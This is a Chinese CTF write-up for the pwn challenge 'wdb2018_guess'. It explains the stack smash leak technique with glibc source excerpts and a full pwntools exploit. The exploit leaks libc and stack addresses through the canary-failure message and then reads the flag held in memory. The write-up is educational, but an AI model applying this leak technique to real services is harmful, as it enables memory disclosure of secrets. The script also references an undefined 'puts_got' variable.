wdb2018_guess与stack smash

前言

巩固一下stack smash技术,了解elf程序的运行环境参数

题目分析与exp

wdb2018_guess这题因为只有不限制长度的输入,但是程序没有正常的输出返回信息。因此需要利用stack samsh来泄露我们需要的信息。

题目分析

check下程序
在这里插入图片描述
简单的分析一下题目。先是读取了flag到内存中,然后程序会循环三次进行判断,三次之后程序会自动退出。
在这里插入图片描述
如果没有超过三次,那么每一次都会fork一个相同的子进程,子进程的信息和父进程的一致。
在这里插入图片描述
因为有fork子进程的操作在这里,第一个感觉是通过爆破比对来获得flag,但是限制三次的次数有点不对劲QAQ。因此转换思路,利用canary的保护来输出信息,拿到内存中读取的flag。

exp

有了思路之后,利用stack smash拿到flag就很轻松了,具体debug的动态调试就不放的,可以参考其他师傅的链接。

from pwn import *
from LibcSearcher import *
from sys import *
from time import *
context(os="linux",arch = "amd64",log_level = "debug",terminal = ['gnome-terminal', '-x', 'sh', '-c'])
#++++++++++++++++++++++++++++++++++++++++
filename = sys.argv[1]
choice = sys.argv[2]
if choice == "1":
	port = sys.argv[3]
	p = remote("node4.buuoj.cn",port)
else:
	p = process(filename)
elf = ELF(filename)
#++++++++++++++++++++++++++++++++++++++++
r = lambda length: p.recv(length)
ru = lambda x : p.recvuntil(x)
s = lambda x : p.send(x)
sa = lambda delim,x : p.sendafter(delim,x)
sl = lambda x : p.sendline(x)
sla = lambda delim,x : p.sendlineafter(delim,x)
itr = lambda : p.interactive()
leak = lambda addr : log.success("{:x}".format(addr))
def debug():
	gdb.attach(p,"b *0x400b23")
	pause()
#++++++++++++++++++++++++++++++++++++++++
local32 = "/lib/i386-linux-gnu/libc.so.6"
local64 = "/lib/x86_64-linux-gnu/libc.so.6"
remote32 = "/home/chenyy/Desktop/223/ubuntu32/libc-2.23.so"
remote64 = "/home/chenyy/Desktop/223/ubuntu64/libc-2.23.so"
def find_libc(function,function_address,path=""):
	global libc_base,libc
	log.info("{0} addr is 0x{1:x}".format(function,function_address))
	# print(type(function))==>str
	if path == "":
		libc = LibcSearcher(function,function_address)
		libc_base = function_address - libc.dump(function)
		system = libc_base + libc.dump("system") 
		binsh = libc_base + libc.dump("/bin/sh")
	else:
		libc = ELF(path)
		libc_base = function_address - libc.sym[function]
		system = libc_base + libc.sym["system"]
		binsh = libc_base + libc.search("/bin/sh").next()
	log.success("libc_base addr is 0x{:x}".format(libc_base))
	leak(system)
	leak(binsh)
	return (system,binsh)
#++++++++++++++++++++++++++++++++++++++++
fake_rbp = "deadbeef"
fake_ebp = "dead"

payload = flat({
	0x48:["a" * 0xe0,puts_got]
	},filler = "\x00")
ru("Please type your guessing flag\n")
sl(flat(payload))
ru("*** stack smashing detected ***: ")
puts_addr = u64(ru("\x7f")[-6:].ljust(8,"\x00"))
system,binsh = find_libc("puts",puts_addr,path = remote64)
environ = libc_base + libc.sym["_environ"]
leak(environ)
payload2 = flat({
	0x48:["a" * 0xe0,environ]
	})
ru("Please type your guessing flag\n")
sl(flat(payload2))
distance = 0x7ffed0eb0cb8 - 0x7ffed0eb0b50
ru("*** stack smashing detected ***: ")
environ_table = u64(ru("\x7f")[-6:].ljust(8,"\x00"))
leak(environ_table)
payload3 = flat({
	0x48:["a" * 0xe0,environ_table - distance]
	})
sl(payload3)
itr()

stack smash

我们可以从源码来看stack smash利用的原理。
首先是canary会调用的stack_check_fail函数

#include <stdio.h>
#include <stdlib.h>
extern char **__libc_argv attribute_hidden;
void
__attribute__ ((noreturn))
__stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}

然后是调用了__fortify_fail函数

#include <stdio.h>
#include <stdlib.h>
extern char **__libc_argv attribute_hidden;
void
__attribute__ ((noreturn)) internal_function
__fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
		    msg, __libc_argv[0] ?: "<unknown>");  //会输出__libc_argv[0]处的的字符串,本来这个位置存放的都是程序的名称
}
libc_hidden_def (__fortify_fail)

这个__libc_argv参数会是通过存储在栈上的一张表来进行维护的,程序的environ指针会指向这一张表的地址。这张表的内容可以在进程下的environ文件看到
在这里插入图片描述
debug中可以看到environ指针的类型,_environ和environ是同一个指针,通过ida查看libc可以得知这一点。
在这里插入图片描述
可以看到,environ指向的是一张指针表,里面每一个指针都指向一个参数字符串,也就是上面的environ文件了。
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值